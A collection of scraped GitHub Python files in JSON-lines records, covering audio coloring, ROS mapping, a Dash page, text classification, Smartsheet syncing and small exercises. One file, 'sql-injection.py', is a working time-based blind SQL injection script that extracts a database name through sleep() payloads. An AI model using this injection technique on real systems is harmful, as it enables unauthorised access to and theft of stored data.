np.argmax(audio_fft.fft)\n\t#max_val = np.max(fft_plot)\n\tif audio_fft.frequency_range[max_ind] != 0:\n\t\t#pitch is half-steps above C0\n\t\tpitch = 12 * np.log2( audio_fft.frequency_range[max_ind] / 16.35)\n\telse: \n\t\t#log of zero is imaginary, and sometimes that is a value that is returned so /shrug\n\t\tpitch = 0\n\t#map 0-12 0-360deg (0-1 for hsv fucntion input)\n\th = pitch % 12 #only look at octaves\n\tcolor = hsv_to_rgb(h/12, 1, 1)\n\treturn np.multiply(255,color)\n\n#This takes an input of class AudioFFT and a lover and upper frequency bounds\ndef audio_fft_range_to_color(audio_fft, lower_freq = None, upper_freq = None, freq_bounds = None, freq_range = np.full([8,1],None)):\n\tif freq_bounds is None:\n\t\tfreq_bounds = [round(lower_freq/audio_fft.division),round(upper_freq/audio_fft.division)]\n\t\tfft_range = AudioFFT(np.full([8,1],None), audio_fft.sample_rate, audio_fft.division, audio_fft.frequency_range[ freq_bounds[0]:freq_bounds[1] ])\n\telse:\n\t\tfft_range = AudioFFT(np.full([8,1],None), audio_fft.sample_rate, audio_fft.division, freq_range)\n\t#fft_range.frequency_range = audio_fft.frequency_range[ freq_bounds[0]:freq_bounds[1] ]\n\tfft_range.fft = audio_fft.fft[ freq_bounds[0]:freq_bounds[1] ]\n\treturn audio_fft_to_color(fft_range)\n\nclass WavColor:\n\tdef __init__(self, filename, division=7):\n\t\tself.sample_rate, data = wavfile.read(filename) # load the data\n\t\tself.filename = filename\n\t\tself.chunk_size = int(self.sample_rate/division) #the subdivisions to take the fft of \n\t\tself.freq_scale = division*np.arange(self.chunk_size)\n\t\tself.division = division\n\n\t\t#color channels\n\t\tself.bands = {}\n\t\tself.color_bands = {}\n\t\tself.colors = []\n\n\t\tif len(data.T) == 2:\n\t\t\tself.audio = data.T[0] #only reads single track\n\t\t\twarn(\"Stero file detected, using only track[0]\")\n\t\telse:\n\t\t\tself.audio = data.T\n\n\t\tself.fft_array = []\n\n\t\t#tic = time.perf_counter()\n\t\t#This is to pre-process the wav file\n\t\tfor chunk in range(0,len(self.audio)-self.chunk_size,self.chunk_size):\n\t\t\tprocessed_audio = AudioFFT( self.audio[chunk:chunk+self.chunk_size], self.sample_rate, division )\n\t\t\tself.fft_array.append(processed_audio)\n\t\t#toc = time.perf_counter()\n\t\t#print(f\"Time elapsed: {toc - tic:0.4f} for { len(self.audio)/self.sample_rate } sec?\")\n\n\tdef add_band(self, band_name, lower_freq, upper_freq):\n\t\tif (lower_freq < 0) or (lower_freq > self.sample_rate):\n\t\t\traise Exception('lower freqency is out of bounds: 0-' + str(self.sample_rate)+'.')\n\t\telif (upper_freq > self.sample_rate) or (upper_freq < 0):\n\t\t\traise Exception('upper freqency is out of bounds: 0-' + str(self.sample_rate)+'.')\n\t\telif (upper_freq <= lower_freq):\n\t\t\traise Exception('improper frequency range defined.')\n\n\t\tfreq_bounds = [lower_freq, upper_freq]\n\t\tself.bands[band_name] = freq_bounds\n\n\tdef process_all_band_colors(self):\n\t\tif len(self.bands) == 0:\n\t\t\traise Exception(\"No bands have been defined, use process_colors() instead.\")\n\t\tfor name, bounds in self.bands.items():\n\t\t\tself.color_bands[name] = []\n\t\t\tfor fft in self.fft_array:\n\t\t\t\tself.color_bands[name].append( audio_fft_range_to_color(fft, bounds[0], bounds[1]) )\n\n\tdef process_colors(self):\n\t\tfor fft in self.fft_array:\n\t\t\tself.colors.append( audio_fft_to_color(fft) )\n\n\nclass LiveColor:\n\tdef __init__(self, sample_rate, chunk_size):\n\t\tself.sample_rate = sample_rate\n\t\tself.chunk_size = chunk_size\n\t\tself.division = int(sample_rate/chunk_size)\n\t\tself.bands = {}\n\t\tself.freq_scale = self.division*np.arange(self.chunk_size)\n\n\tdef add_band(self, band_name, lower_freq, upper_freq):\n\t\tif (lower_freq < 0) or (lower_freq > self.sample_rate):\n\t\t\traise Exception('lower freqency is out of bounds: 0-' + str(self.sample_rate)+'.')\n\t\telif (upper_freq > self.sample_rate) or (upper_freq < 0):\n\t\t\traise Exception('upper freqency is out of bounds: 0-' + str(self.sample_rate)+'.')\n\t\telif (upper_freq <= lower_freq):\n\t\t\traise Exception('improper frequency range defined.')\n\n\t\tfreq_bounds = [round(lower_freq/self.division),round(upper_freq/self.division)]\n\t\tfrequency_range = self.freq_scale[ freq_bounds[0]:freq_bounds[1] ]\n\t\tself.bands[band_name] = [freq_bounds, frequency_range]\n\n\tdef color_band_buffer(self, stream_chunk):\n\t\t#return None\n\t\tprocessed_audio = AudioFFT(stream_chunk, self.sample_rate, self.division, self.freq_scale)\n\t\tcolor_bands = {}\n\t\tfor band_name, band_data in self.bands.items():\n\t\t\tcolor_bands[band_name] = audio_fft_range_to_color(processed_audio, None, None, band_data[0], band_data[1])\n\n\t\treturn color_bands\n\n\tdef color_buffer(self, stream_chunk):\n\t\tprocessed_audio = AudioFFT(stream_chunk, self.sample_rate, self.division, self.freq_scale)\n\t\t#print(processed_audio.fft)\n\t\treturn audio_fft_to_color( processed_audio )\n\t","repo_name":"QuantumEF/MusicColor","sub_path":"MusicColorLib.py","file_name":"MusicColorLib.py","file_ext":"py","file_size_in_byte":5718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"25493209914","text":"#!/usr/bin/env python\nimport rospy\n\nimport topics\nfrom mapping import publish_map, MapPublisher, create_map, MAXED\n\n\ndef start_mapping():\n rospy.init_node('lidar_mapping')\n\n lidar_map = create_map(detection_angle_degrees=270, detection_margin=5)\n publish_map(MapPublisher(lidar_map, topics.MAP, tf_frame=topics.MAP_FRAME),\n topic=topics.LIDAR,\n process_msg=lambda msg: MAXED + msg)\n\n rospy.spin()\n\n\nif __name__ == '__main__':\n start_mapping()\n","repo_name":"poparrish/IGVC","sub_path":"Nav-Guidance/src/navigation_launch/mapping_lidar.py","file_name":"mapping_lidar.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"11528596687","text":"from Tkinter import *\nfrom DigitalWatchGUI import DigitalWatchGUI\nimport digitalwatch\nfrom python_runtime.tkinter_eventloop import *\n\ndef update(fixed_update_time, controller):\n\tcontroller.update(fixed_update_time / 1000.0)\n\troot.after(fixed_update_time, update, fixed_update_time, controller)\n\nroot = Tk()\nroot.withdraw()\ntopLevel = Toplevel(root)\ntopLevel.resizable(width=NO, height=NO)\ntopLevel.title(\"DWatch\")\ngui = DigitalWatchGUI(topLevel)\n\ntry:\n\tcontroller = digitalwatch.Controller(gui.controller, TkEventLoop(root))\n\tcontroller.start()\n\tgui.dynamicGUI.setStatechart(controller)\n\troot.mainloop()\nfinally:\n\tcontroller.stop()","repo_name":"AToMPM/atompm","sub_path":"exported_to_sccdxml/run_digital_watch.py","file_name":"run_digital_watch.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"72"} +{"seq_id":"15152925149","text":"from collections import Counter\r\nN,X = map(int,input().split())\r\nws = [int(input()) for i in range(N)]\r\n\r\nH = N//2\r\nres1 = []\r\nfor b in range(1 << H):\r\n w = 0\r\n for i in range(H):\r\n if b & (1 << i): w += ws[i]\r\n res1.append(w)\r\n\r\nres2 = []\r\nfor b in range(1 << (N-H)):\r\n w = 0\r\n for i in range(N-H):\r\n if b & (1 << i): w += ws[H+i]\r\n res2.append(w)\r\n\r\nctr = Counter(res1)\r\nans = 0\r\nfor r2 in res2:\r\n ans += ctr[X - r2]\r\nprint(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc017/C/2010433.py","file_name":"2010433.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"9615019642","text":"from pydoc import classname\nimport dash\nfrom dash import dcc, html\nimport dash_bootstrap_components as dbc\n\nfrom example_plots import plot_scatter\n\ndash.register_page(__name__,\n path='/mission', # '/' is home page and it represents the url\n name='Our mission', # name of page, commonly used as name of link\n title='This is our mission', # title that appears on browser's tab\n image='twitter-icon.png', # image in the assets folder\n description='Brief description of TMTS mission'\n)\n\nCONTENT_FONT_SIZE = 30\nTITLE_FONT_SIZE = 14\n\ndef get_card(img_url, title, content):\n card = dbc.Card([\n dbc.CardHeader([\n html.Img(src=img_url),\n html.P(title, style={'color': 'white', 'fontSize': CONTENT_FONT_SIZE})\n ]),\n html.Hr(),\n dbc.CardBody([html.P(content, style={'color': 'white', 'fontSize': TITLE_FONT_SIZE})])\n ], className='card')\n return card\n\nlayout = dbc.Container(\n [\n dbc.Row([\n dbc.Col([get_card('', 'Sobre mi', 'Su biografía')], width= 8, class_name= 'mb-2'),\n dbc.Col([get_card('', 'Mi pequeña historia', 'Aquí va el contenido')], width= 8, className='mb-2'),\n dbc.Col([get_card('', '¿Qué es esta web-app?', 'Aquí va el contenido')], width= 8, className='mb-2')\n ]) \n ], className= 'center-screen ', style={'width': 'auto'}\n)","repo_name":"DarCoF/Financial-web-app-in-dash","sub_path":"pages/mission.py","file_name":"mission.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22217083132","text":"import pandas as pd\nimport numpy as np\nimport nltk\nw = nltk.word_tokenize\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom scipy.sparse import coo_matrix\nimport nltk\nfrom nltk.corpus import stopwords\n\ncoms = pd.read_csv('~/Desktop/text-model/Coms.csv')\n\ndef clean_text(df, column):\n coms['Text_clean'] = coms['Comment'].str.replace(r'[^A-Za-z0-9]','')\n coms['Text_clean'] = coms['Comment'].str.lower()\n return df\n\ncoms_cl = clean_text(coms, 'Comment')\n# print(coms['Labels'].value_counts())\n# print(coms_cl.head())\n\ncoms['Token'] = coms['Comment'].apply(w)\n\nx = coms_cl['Comment'].tolist()\ny = coms_cl['Class_Label'].tolist()\nx_train,x_test,y_train,y_test = train_test_split(x,y,test_size = 0.2)\nbow = CountVectorizer(stop_words={'english'})\nx_train_c = bow.fit_transform(x_train)\nx_test_c = bow.transform(x_test)\nnb = MultinomialNB()\ny_pred_nb = nb.fit(x_train_c, y_train).predict(x_test_c)\naccuracy_score(y_test, y_pred_nb)\nprint(accuracy_score(y_test, y_pred_nb))\n\ntf1 = TfidfVectorizer(stop_words={'english'})\nx_train_tf = tf1.fit_transform(x_train)\nx_test_tf = tf1.transform(x_test)\ny_pred_nb_tf = nb.fit(x_train_tf, y_train).predict(x_test_tf)\nprint(accuracy_score(y_test, y_pred_nb_tf))\n# print(coms['Token'])\n\n#################################################################\n\nbow2 = CountVectorizer()\ndtm = bow2.fit_transform(coms['Comment'])\n#print(bow2.get_feature_names())\n# print(dtm.toarray())\n\ntf = TfidfTransformer()\ndtm1 = tf.fit_transform(dtm.toarray())\n# print(dtm1.toarray())\n\ntf1 = TfidfVectorizer()\ndtm2 = tf1.fit_transform(coms['Comment'])\ndtm2.toarray()\n\n# from sklearn.feature_extraction.text import CountVectorizer\n# import re\n# stop_words = set(stopwords.words(\"english\"))\n# cv=CountVectorizer(max_df=0.8,stop_words=stop_words, max_features=10000, ngram_range=(1,1))\n#\n# X=cv.fit_transform(coms['Comment'])\n# tfidf_transformer=TfidfTransformer(smooth_idf=True,use_idf=True)\n# tfidf_transformer.fit(X)\n# # get feature names\n# feature_names=cv.get_feature_names()\n#\n# # fetch document for which keywords needs to be extracted\n# doc=coms['Comment']\n#\n# #generate tf-idf for the given document\n# tf_idf_vector=dtm2\n#\n# #Function for sorting tf_idf in descending order\n# from scipy.sparse import coo_matrix\n# def sort_coo(coo_matrix):\n# tuples = zip(coo_matrix.col, coo_matrix.data)\n# return sorted(tuples, key=lambda x: (x[1], x[0]), reverse=True)\n#\n# def extract_topn_from_vector(feature_names, sorted_items, topn=10):\n# \"\"\"get the feature names and tf-idf score of top n items\"\"\"\n#\n# #use only topn items from vector\n# sorted_items = sorted_items[:topn]\n#\n# score_vals = []\n# feature_vals = []\n#\n# # word index and corresponding tf-idf score\n# for idx, score in sorted_items:\n#\n# #keep track of feature name and its corresponding score\n# score_vals.append(round(score, 3))\n# feature_vals.append(feature_names[idx])\n#\n# #create a tuples of feature,score\n# #results = zip(feature_vals,score_vals)\n# results= {}\n# for idx in range(len(feature_vals)):\n# results[feature_vals[idx]]=score_vals[idx]\n#\n# return results\n# #sort the tf-idf vectors by descending order of scores\n# sorted_items=sort_coo(tf_idf_vector.tocoo())\n# #extract only the top n; n here is 10\n# keywords=extract_topn_from_vector(feature_names,sorted_items,100)\n#\n# # now print the results\n# # print(\"\\nAbstract:\")\n# # print(doc)\n# print(\"\\nKeywords:\")\n# for k in keywords:\n# print(k,keywords[k])\n","repo_name":"NickRamsey6/text-model","sub_path":"classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43539413945","text":"import requests;\nimport time;\n\ndef getDatabaseLength():\n for i in range(1,20):\n url = 'http://localhost:8888/stock/reduce?id=1 and length(database())=%d and sleep(2)'%(i)\n startTime = time.time()\n requests.get(url)\n endTime=time.time()\n if endTime - startTime > 1:\n print('length is => ',i)\n return i\n\ndef getDatabaseName():\n databaseName = ''\n databaseLength = getDatabaseLength()\n for i in range(1, databaseLength + 1):\n for asci in range(33,128):\n url = 'http://localhost:8888/stock/reduce?id=1 and ascii(substr(database(),%d,1))=%d and sleep(2)'%(i,asci)\n startTime = time.time()\n requests.get(url)\n endTime=time.time()\n if endTime - startTime > 1:\n # print(chr(asci))\n databaseName = databaseName + chr(asci)\n break\n print('database name is => ', databaseName)\n\n\nif __name__ == \"__main__\":\n getDatabaseName()\n","repo_name":"HXY-0227/python_script","sub_path":"sql/sql-injection.py","file_name":"sql-injection.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38899462359","text":"# Source : https://leetcode.com/problems/validate-ip-address/description/\n\n# Algo/DS : String, IP\n\n# Complexity :\n\nclass Solution(object):\n def validIPAddress(self, IP):\n \"\"\"\n :type IP: str\n :rtype: str\n \"\"\"\n dot_count = IP.count(\".\")\n if dot_count > 0: \n return self.checkIP4(IP)\n else:\n return self.checkIP6(IP)\n '''\n check:\n - length after split should be 4\n - for individual item:\n - len(i) >= 1\n - if len(i)> 1 then no leading 0\n - no +, -\n - 0<i<255 : int(i) would be in try catch\n '''\n def checkIP4(self,IP):\n IP = IP.split(\".\")\n if len(IP) != 4 : return \"Neither\"\n for i in IP:\n if not i : return \"Neither\"\n if i[0] in ['0',\"+\", '-'] and len(i) > 1: return \"Neither\"\n try:\n if 0 > int(i) or int(i) > 255: return \"Neither\"\n except:\n return \"Neither\" \n return \"IPv4\"\n\n '''\n check:\n - length after split should be 8\n - for individual item:\n - 1<= len(i) <=4\n - chars in i should be 0-9 / A-F/a-f\n '''\n \n def checkIP6(self,IP):\n IP = IP.split(\":\")\n if len(IP) != 8: return \"Neither\"\n for i in IP:\n if not i : return \"Neither\"\n if len(i) > 4 : return \"Neither\"\n for char in i:\n if char not in \"0123456789abcdefABCDEF\":return \"Neither\"\n #if i[0] == '0': return \"Neither\"\n \n \n return \"IPv6\"\n \n ","repo_name":"neelamy/Leetcode","sub_path":"String/468_ValidateIPAddress.py","file_name":"468_ValidateIPAddress.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28935349970","text":"num1 = int(input())\nnum2 = int(input())\nnum3 = int(input())\n\nis_real = [2, 3, 5, 7]\n\nfor i in range(1, num1 + 1):\n if i % 2 != 0:\n continue\n for k in range(1, num2 + 1):\n if k not in is_real:\n continue\n for j in range(1, num3 + 1):\n if j % 2 != 0:\n continue\n print(f\"{i} {k} {j}\")","repo_name":"Benkolov/Python-Basic-Soft-Uni-07.22","sub_path":"03.More Exercises/06.Nested_loops_more_exercises/secret_door's_lock.py","file_name":"secret_door's_lock.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"33605703849","text":"\n\ndef get_columns(file,n=1):\n\tfp=open(file)\n\tname=[]\n\tif n==1:\n\t\tx=0\n\t\tfor line in fp:\n\t\t\tif x==0:\n\t\t\t\tx=1\n\t\t\t\tcontinue\n\t\t\tl=line.split(',')\n\t\t\tname.append(l[0])\n\telse:\n\t\tfor line in fp:\n\t\t\tl=line.strip()\n\t\t\tl=l.split(',')\n\t\t\tname=l[1:]\n\t\t\tname\n\t\t\tbreak\n\n\treturn name","repo_name":"AditSoni/topsis_analyser","sub_path":"topsis/topsisapp/column_name.py","file_name":"column_name.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5134980657","text":"try:\r\n file = input('Enter file name: ')\r\n fhandel = open(file)\r\nexcept:\r\n print('File not found')\r\n exit()\r\n\r\nd = dict() #create empty dictionary named d\r\n\r\nfor line in fhandel: #loop through lines in fhandle\r\n line = line.rstrip() #strip empty space on a right side of a line\r\n words = line.split() #split line into words\r\n if len(words) == 0 : continue #if no words on a line, continue\r\n for word in words:\r\n d[word] = d.get(word, 0) #add every word to dictionary d,\r\n #set zero as value\r\nprint(d)\r\n","repo_name":"AvelyV/Py4e","sub_path":"ch9ex1.py","file_name":"ch9ex1.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2098866335","text":"class Solution:\n def maxProduct(self, nums: List[int]) -> int:\n if not nums:\n return 0\n # all posibile: [A, rest of A]\n restNums = nums[::-1]\n for i in range(1, len(nums)):\n nums[i] *= nums[i-1] or 1\n restNums[i] *= restNums[i-1] or 1\n return max(nums + restNums)\n \n","repo_name":"GuanYangCLU/AlgoTestForPython","sub_path":"LeetCode/dp/0152_Maximum_Product_Subarray.py","file_name":"0152_Maximum_Product_Subarray.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"71707362152","text":"import pandas as pd\r\nimport smartsheet\r\nfrom datetime import datetime\r\nfrom smartsheet.exceptions import ApiError\r\nimport pandas as pd\r\nfrom Z_60bscript_logger import ghetto_logger\r\nfrom cryptography.fernet import Fernet\r\nimport os\r\n\r\nclass grid:\r\n\r\n \"\"\"\r\n Global Variable\r\n ____________\r\n token --> MUST BE SET BEFORE PROCEEDING. >>> grid.token = {SMARTSHEET_ACCES_TOKEN}\r\n\r\n Dependencies\r\n ------------\r\n smartsheet as smart (smartsheet-python-sdk)\r\n pandas as pd\r\n\r\n Attributes\r\n __________\r\n grid_id: int\r\n sheet id of an existing Smartsheet sheet. terst 1\r\n\r\n Methods\r\n -------\r\n grid_id --> returns the grid_id\r\n grid_content ---> returns the content of a sheet as a dictionary.\r\n grid_columns ---> returns a list of the column names.\r\n grid_rows ---> returns a list of lists. each sub-list contains all the 'display values' of each cell in that row.\r\n grid_row_ids---> returns a list o\r\n f all the row ids\r\n grid_column_ids ---> returns a list of all the column ids\r\n df ---> returns a pandas DataFrame of the sheet.\r\n delete_all_rows ---> deletes all rows in the sheet (in preperation for updating).\r\n\r\n \"\"\"\r\n\r\n token = None\r\n\r\n def __init__(self, grid_id):\r\n self.grid_id = grid_id\r\n self.grid_content = None\r\n self.column_df = self.get_column_df()\r\n \r\n def get_column_df(self):\r\n if self.token == None:\r\n return \"MUST SET TOKEN\"\r\n else:\r\n smart = smartsheet.Smartsheet(access_token=self.token)\r\n smart.errors_as_exceptions(True)\r\n return pd.DataFrame.from_dict(\r\n (smart.Sheets.get_columns(self.grid_id, level=2, include='objectValue', include_all=True)).to_dict().get(\"data\")\r\n )\r\n\r\n def df_id_by_col(self, column_names):\r\n if self.token == None:\r\n return \"MUST SET TOKEN\"\r\n else:\r\n smart = smartsheet.Smartsheet(access_token=self.token)\r\n smart.errors_as_exceptions(True)\r\n columnids = []\r\n col_index = []\r\n for col in column_names:\r\n col1 = smart.Sheets.get_column_by_title(self.grid_id, col)\r\n columnids.append(col1.to_dict().get(\"id\"))\r\n col_index.append(col1.to_dict().get(\"index\"))\r\n sorted_col = [x for y, x in sorted(zip(col_index, column_names))]\r\n sfetch = smart.Sheets.get_sheet(self.grid_id, column_ids=columnids)\r\n cols = [\"id\"] + sorted_col\r\n c = []\r\n p = sfetch.to_dict()\r\n for i in p.get(\"rows\"):\r\n l = []\r\n l.append(i.get(\"id\"))\r\n for i in i.get(\"cells\"):\r\n l.append(i.get(\"displayValue\"))\r\n c.append(l)\r\n return pd.DataFrame(c, columns=cols)\r\n\r\n def fetch_content(self):\r\n if self.token == None:\r\n return \"MUST SET TOKEN\"\r\n else:\r\n smart = smartsheet.Smartsheet(access_token=self.token)\r\n smart.errors_as_exceptions(True)\r\n self.grid_content = (smart.Sheets.get_sheet(self.grid_id)).to_dict()\r\n self.grid_name = (self.grid_content).get(\"name\")\r\n # this attributes pulls the column headers\r\n self.grid_columns = [i.get(\"title\") for i in (self.grid_content).get(\"columns\")]\r\n # note that the grid_rows is equivelant to the cell's 'Display Value'\r\n self.grid_rows = []\r\n if (self.grid_content).get(\"rows\") == None:\r\n self.grid_rows = []\r\n else:\r\n for i in (self.grid_content).get(\"rows\"):\r\n b = i.get(\"cells\")\r\n c = []\r\n for i in b:\r\n l = i.get(\"displayValue\")\r\n m = i.get(\"value\")\r\n if l == None:\r\n c.append(m)\r\n else:\r\n c.append(l)\r\n (self.grid_rows).append(c)\r\n self.grid_rows = self.grid_rows\r\n if (self.grid_content).get(\"rows\") == None:\r\n self.grid_row_ids = []\r\n else:\r\n self.grid_row_ids = [i.get(\"id\") for i in (self.grid_content).get(\"rows\")]\r\n self.grid_column_ids = [i.get(\"id\") for i in (self.grid_content).get(\"columns\")]\r\n self.df = pd.DataFrame(self.grid_rows, columns=self.grid_columns)\r\n self.df[\"id\"]=self.grid_row_ids\r\n \r\n def fetch_summary_content(self):\r\n if self.token == None:\r\n return \"MUST SET TOKEN\"\r\n else:\r\n smart = smartsheet.Smartsheet(access_token=self.token)\r\n smart.errors_as_exceptions(True)\r\n self.grid_content = (smart.Sheets.get_sheet_summary_fields(self.grid_id)).to_dict()\r\n # this attributes pulls the column headers\r\n self.summary_params=[ 'title','createdAt', 'createdBy', 'displayValue', 'formula', 'id', 'index', 'locked', 'lockedForUser', 'modifiedAt', 'modifiedBy', 'objectValue', 'type']\r\n self.grid_rows = []\r\n if (self.grid_content).get(\"data\") == None:\r\n self.grid_rows = []\r\n else:\r\n for summary_field in (self.grid_content).get(\"data\"):\r\n row = []\r\n for param in self.summary_params:\r\n row_value = summary_field.get(param)\r\n row.append(row_value)\r\n self.grid_rows.append(row)\r\n if (self.grid_content).get(\"rows\") == None:\r\n self.grid_row_ids = []\r\n else:\r\n self.grid_row_ids = [i.get(\"id\") for i in (self.grid_content).get(\"data\")]\r\n self.df = pd.DataFrame(self.grid_rows, columns=self.summary_params)\r\n \r\n def reduce_columns(self,exclusion_string):\r\n \"\"\"a method on a grid{sheet_id}) object\r\n take in symbols/characters, reduces the columns in df that contain those symbols\"\"\"\r\n if self.token == None:\r\n return \"MUST SET TOKEN\"\r\n else:\r\n smart = smartsheet.Smartsheet(access_token=self.token)\r\n smart.errors_as_exceptions(True)\r\n regex_string = f'[{exclusion_string}]'\r\n self.column_reduction = self.column_df[self.column_df['title'].str.contains(regex_string,regex=True)==False]\r\n self.reduced_column_ids = list(self.column_reduction.id)\r\n self.reduced_column_names = list(self.column_reduction.title)\r\n\r\nclass Clashlog_maintainer:\r\n '''description pending'''\r\n def __init__(self, config):\r\n self.log=ghetto_logger(\"Z_60bw_pt2.py\")\r\n raw_now = datetime.now()\r\n self.now = raw_now.strftime(\"%m/%d/%Y %H:%M:%S\")\r\n self.smartsheet_token = config.get(\"ss_api_token\")\r\n grid.token=self.smartsheet_token\r\n self.smart = smartsheet.Smartsheet(access_token=self.smartsheet_token)\r\n self.smart.errors_as_exceptions(True)\r\n self.sheet_id=config.get(\"ss_clashlog_sheetid\")\r\n self.log.log(\"pulling excel data...\")\r\n self.xlsx_df = pd.read_excel(config.get(\"sys_path_to_excel_clash\"))\r\n\r\n #region columns\r\n def get_column_names(self):\r\n self.log.log(\"pulling smartsheet data...\")\r\n df = grid(self.sheet_id)\r\n df.fetch_content()\r\n ss_columns = df.grid_columns\r\n self.column_df = df.column_df\r\n return ss_columns, df.df \r\n\r\n def get_column_id(self, column_name):\r\n return list(self.column_df.loc[self.column_df['title'] == column_name]['id'].values)[0]\r\n \r\n def find_common_columns(self, xl, ss):\r\n common_columns = [column for column in xl if column in ss]\r\n col_post_data = [{\"str\":column, \"id\":self.get_column_id(column)} for column in common_columns]\r\n return col_post_data\r\n #endregion\r\n\r\n #region rows\r\n def clean_list(self, mylist):\r\n '''makes each item string, removes duplicates, none, and nans'''\r\n str_list = list(map(str, mylist))\r\n unique_list = list(dict.fromkeys(str_list))\r\n try:\r\n unique_list.remove(\"None\")\r\n except:\r\n pass\r\n try:\r\n unique_list.remove(\"nan\")\r\n except:\r\n pass\r\n return unique_list\r\n\r\n def id_processing(self, xlsx_ids, ss_ids, df):\r\n '''if exists in XL but not SS, add row to bottom, if exists in SS but not CL, change to status closed'''\r\n self.log.log(\"comparing excel and smartsheet data...\")\r\n add_row = [xlid for xlid in xlsx_ids if xlid not in ss_ids]\r\n # only needs to be added to status_closed if current status is not closed...\r\n status_closed = [ssid for ssid in ss_ids if ssid not in xlsx_ids and list(df.loc[df['Clash ID'] == ssid]['Status'].values)[0] != \"Closed\"]\r\n \r\n self.log.log(f''' -{len(status_closed)} row modifications needed, \r\n -{len(add_row)} row additions needed''')\r\n \r\n return add_row, status_closed\r\n\r\n def find_row_id(self, value, df):\r\n return list(df.loc[df['Clash ID'] == value]['id'].values)[0]\r\n \r\n def modify_ss_row(self, ids, df):\r\n self.log.log(f\"modifying {len(ids)} existing rows...\")\r\n mass_post = []\r\n for i, id in enumerate(ids):\r\n if (int(i)/100).is_integer() == True and int(i) != 0:\r\n self.log.log(f\" {i} rows modified...\")\r\n if str(id) != \"None\":\r\n row_id = self.find_row_id(id, df)\r\n new_row = smartsheet.models.Row()\r\n new_row.id = int(row_id)\r\n\r\n new_cell = smartsheet.models.Cell()\r\n new_cell.column_id = int(self.get_column_id('Status'))\r\n new_cell.value = \"Closed\"\r\n new_cell.strict = False\r\n new_row.cells.append(new_cell)\r\n\r\n mass_post.append(new_row)\r\n\r\n updated_row = self.smart.Sheets.update_rows(\r\n self.sheet_id, # sheet_id\r\n mass_post)\r\n if updated_row.message == \"SUCCESS\":\r\n self.log.log(f\"-> row modification complete <-\")\r\n else:\r\n self.log.log(\"-> row modification error occured <-\")\r\n \r\n def find_empty_rows(self, df):\r\n '''this is used to find the first blank row (with no value in Clash ID) so I can start posting new rows above this one and keep all rows together'''\r\n text_empty = df['Clash ID'].str.len() > -1\r\n index = [i for i, item in enumerate(list(text_empty.values)) if item == False]\r\n if len(index) != 0:\r\n starting_point = df.iloc[index[0]]['id']\r\n else:\r\n starting_point = \"none\"\r\n return starting_point\r\n\r\n def add_ss_rows(self, ids, col_post_data, start):\r\n self.log.log(f\"processing {len(ids)} new rows... (please hold)\")\r\n mass_post = []\r\n \r\n for i, id in enumerate(ids):\r\n if (int(i)/100).is_integer() == True and int(i) != 0:\r\n self.log.log(f\" {i} rows processed...\")\r\n elif int(i) > 100 and int(i) == len(ids):\r\n self.log.log(f\" {len(ids) % 100} rows processed...\")\r\n if str(id) != \"nan\":\r\n # Specify cell values for one row\r\n new_row = smartsheet.models.Row()\r\n if start == \"none\":\r\n new_row.to_bottom=True\r\n else:\r\n # posts new rows above this specific row (that has the first blank value in Clash ID)\r\n new_row.sibling_id = int(start)\r\n new_row.above = True\r\n\r\n for col in col_post_data:\r\n value = list(self.xlsx_df.loc[self.xlsx_df['Clash ID'] == id][col.get('str')].values)[0]\r\n if str(value) != \"nan\":\r\n new_row.cells.append({\r\n 'column_id': int(col.get(\"id\")),\r\n 'value': str(value), \r\n 'strict': False\r\n })\r\n\r\n mass_post.append(new_row)\r\n\r\n # Add rows to sheet\r\n self.log.log(\"posting all rows now...\")\r\n row_creation = self.smart.Sheets.add_rows(\r\n self.sheet_id, # sheet_id\r\n mass_post)\r\n if row_creation.message == \"SUCCESS\":\r\n self.log.log(f\"-> row additions complete <-\")\r\n else:\r\n self.log.log(\"-> row addition error occured <-\")\r\n #endregion\r\n\r\n def run(self):\r\n ss_columns, ss_gen_df = self.get_column_names()\r\n xlsx_columns = list(self.xlsx_df.columns.values)\r\n xlsx_ids = self.clean_list(list(self.xlsx_df['Clash ID'].values))\r\n ss_ids=self.clean_list(list(ss_gen_df['Clash ID'].values))\r\n add_row, status_closed = self.id_processing(xlsx_ids, ss_ids, ss_gen_df)\r\n if len(status_closed) > 0:\r\n self.modify_ss_row(status_closed, ss_gen_df)\r\n col_post_data = self.find_common_columns(xlsx_columns, ss_columns)\r\n starting_point = self.find_empty_rows(ss_gen_df)\r\n if len(add_row) > 0:\r\n self.add_ss_rows(add_row, col_post_data, starting_point)\r\n self.log.log(\"-> Script Completed <-\")\r\n\r\n#region 